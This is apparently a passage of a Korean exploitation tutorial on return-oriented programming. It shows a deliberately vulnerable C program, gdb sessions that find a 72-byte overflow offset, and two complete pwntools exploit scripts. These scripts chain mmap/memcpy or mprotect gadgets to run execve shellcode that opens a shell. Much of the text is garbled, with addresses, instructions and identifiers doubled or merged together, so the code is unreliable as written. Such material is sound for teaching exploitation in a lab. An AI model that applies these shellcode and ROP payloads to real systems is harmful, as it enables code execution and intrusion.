...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * from struct import * #context.log_level = 'debug' #32bit OS #libclibc = ELF("/lib/i386-linux-gnu/libc-2.23.so") #64bit OS libc#libc = ELF("/lib32/libc-2.23.so") shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" binary = ELF('./rop') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) new_memory = 0x20000000 #Libc libc_base = stackAddr - 0x49020 libc_mmap = libc_base + libc.symbols['mmap'] libc_memcpy = libc_base + libc.symbols['memcpy'] #ROP Gadget libc_popad = libc_base + 0x00168dfe libc_xchg_eax_edi = libc_base + 0x0007633e libc_pop_esi = libc_base + 0x00017828 libc_pop_ebp = libc_base + 0x000179a7 libc_pop_ebx = libc_base + 0x00018395 libc_pushad = libc_base + 0x0000979c log.info('Libc base : '+hex(libc_base)) log.info('mmap addr : '+hex(libc_mmap)) log.info('memcpy addr : '+hex(libc_memcpy)) payload = "A"*66 #mmap(0x20000000,0x1000,0x7,0x22,0xffffffff,0) payload += p32(libc_mmap) payload += p32(libc_popad) payload += p32(new_memory) payload += p32(0x1000) payload += p32(0x7) payload += p32(0x22) payload += p32(0xffffffff) payload += p32(0) payload += 'AAAA' * 2 #memcpy(new_memory,'address of shellcode',(len(shellcode)) payload += p32(libc_memcpy) payload += p32(libc_xchg_eax_edi) payload += p32(libc_pop_esi) payload += p32(new_memory) payload += p32(libc_pop_ebp) payload += p32(new_memory) payload += p32(libc_pop_ebx) payload += p32(len(shellcode)) payload += p32(libc_pushad) payload += shellcode sleep(20) p.send(payload) p.interactive() |
...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -fno-stack-protector -o rop64rop rop64rop.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); printf("buf[50] address : %p\n",buf); read(0, buf, 256); } void main(){ write(1,"Hello ROP\n",10); vuln(); } |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ gdb -q ./rop64 Reading symbols from ./rop64...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x00000000004006c6 <+0>: push rbp 0x00000000004006c7 <+1>: mov rbp,rsp 0x00000000004006ca <+4>: sub rsp,0x40 0x00000000004006ce <+8>: mov esi,0x4007c40x4007d4 0x00000000004006d3 <+13>: mov rdi,0xffffffffffffffff 0x00000000004006da <+20>: call 0x4005b0 <dlsym@plt> 0x00000000004006df <+25>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006e3 <+29>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004006e7 <+33>: mov rsi,rax 0x00000000004006ea <+36>: mov edi,0x4007cb0x4007db 0x00000000004006ef <+41>: mov eax,0x0 0x00000000004006f4 <+46>: call 0x400580 <printf@plt> 0x00000000004006f9 <+51>: lea rax,[rbp-0x40] 0x00000000004006fd <+55>: mov edxrsi,0x100rax 0x00000000004007020x0000000000400700 <+60>58>: mov rsiedi,rax0x4007f2 0x0000000000400705 <+63>: mov edieax,0x0 0x000000000040070a <+68>: call 0x4005900x400580 <read@plt><printf@plt> 0x000000000040070f <+73>: nop lea 0x0000000000400710 <+74>: rax,[rbp-0x40] 0x0000000000400713 <+77>: mov edx,0x100 0x0000000000400718 <+82>: mov rsi,rax 0x000000000040071b <+85>: mov edi,0x0 0x0000000000400720 <+90>: call 0x400590 <read@plt> 0x0000000000400725 <+95>: nop 0x0000000000400726 <+96>: leave 0x00000000004007110x0000000000400727 <+75>97>: ret End of assembler dump. gdb-peda$ b *0x00000000004006c6 Breakpoint 1 at 0x4006c6 gdb-peda$ b *0x000000000040070a0x0000000000400720 Breakpoint 2 at 0x40070a0x400720 gdb-peda$ |
- 다음과 같이 Overflow를 확인할 수 있습니다.
Return address(0x7fffffffe488) - buf 변수의 시작 주소 (0x7fffffffe440) = 72
- 즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/ROPStager/mprotect/rop64 Hello ROP Breakpoint 1, 0x00000000004006c6 in vuln () gdb-peda$ i r rsp rsp 0x7fffffffe488 0x7fffffffe488 gdb-peda$ c Continuing. Printf() address : 0x7ffff785e800 buf[50] address : 0x7fffffffe440 Breakpoint 2, 0x000000000040070a0x0000000000400720 in vuln () gdb-peda$ i r rsi rsi 0x7fffffffe440 0x7fffffffe440 gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440 $1 = 72 gdb-peda$ |
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ ./rp-lin-x64 -f ./rop64 -r 1| grep "pop rdi" 0x004007a30x004007b3: pop rdi ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ |
...
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * from struct import * #context.log_level = 'debug' shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") libcbase_printf_offset = libc.symbols['printf'] libcbase_mprotect_offset = libc.symbols['mprotect'] pop_rdi_ret = 0x004007a30x004007b3 pop_rdx_ret_offsetpop_rdx_ret_offset = 0x1150c9 r = process('./rop64') r.recvn(10) r.recvuntil('Printf() address : ') libcbase = int(r.recvuntil('\n'),16) libcbase -= libcbase_printf_offset r.recvuntil('buf[50] address : ') stack = int(r.recvuntil('\n'),16) back = str(hex(stack)) shellArea = int(back[0:11] + '000',16) log.info(back[0:11]) log.info(hex(shellArea)) log.info("libcbase : " + hex(libcbase)) log.info("stack : " + hex(stack)) log.info("mprotect() : " + hex(libcbase + libcbase_mprotect_offset)) payload = shellcode payload += "A" * (72 - len(shellcode)) #mprotect(address of shellcode,0x2000,0x7) payload += p64(pop_rdi_ret) payload += p64(shellArea) payload += p64(libcbase + pop_rdx_ret_offset) payload += p64(0x7) payload += p64(0x2000) payload += p64(libcbase + libcbase_mprotect_offset) payload += p64(stack) r.send(payload) r.interactive() |
...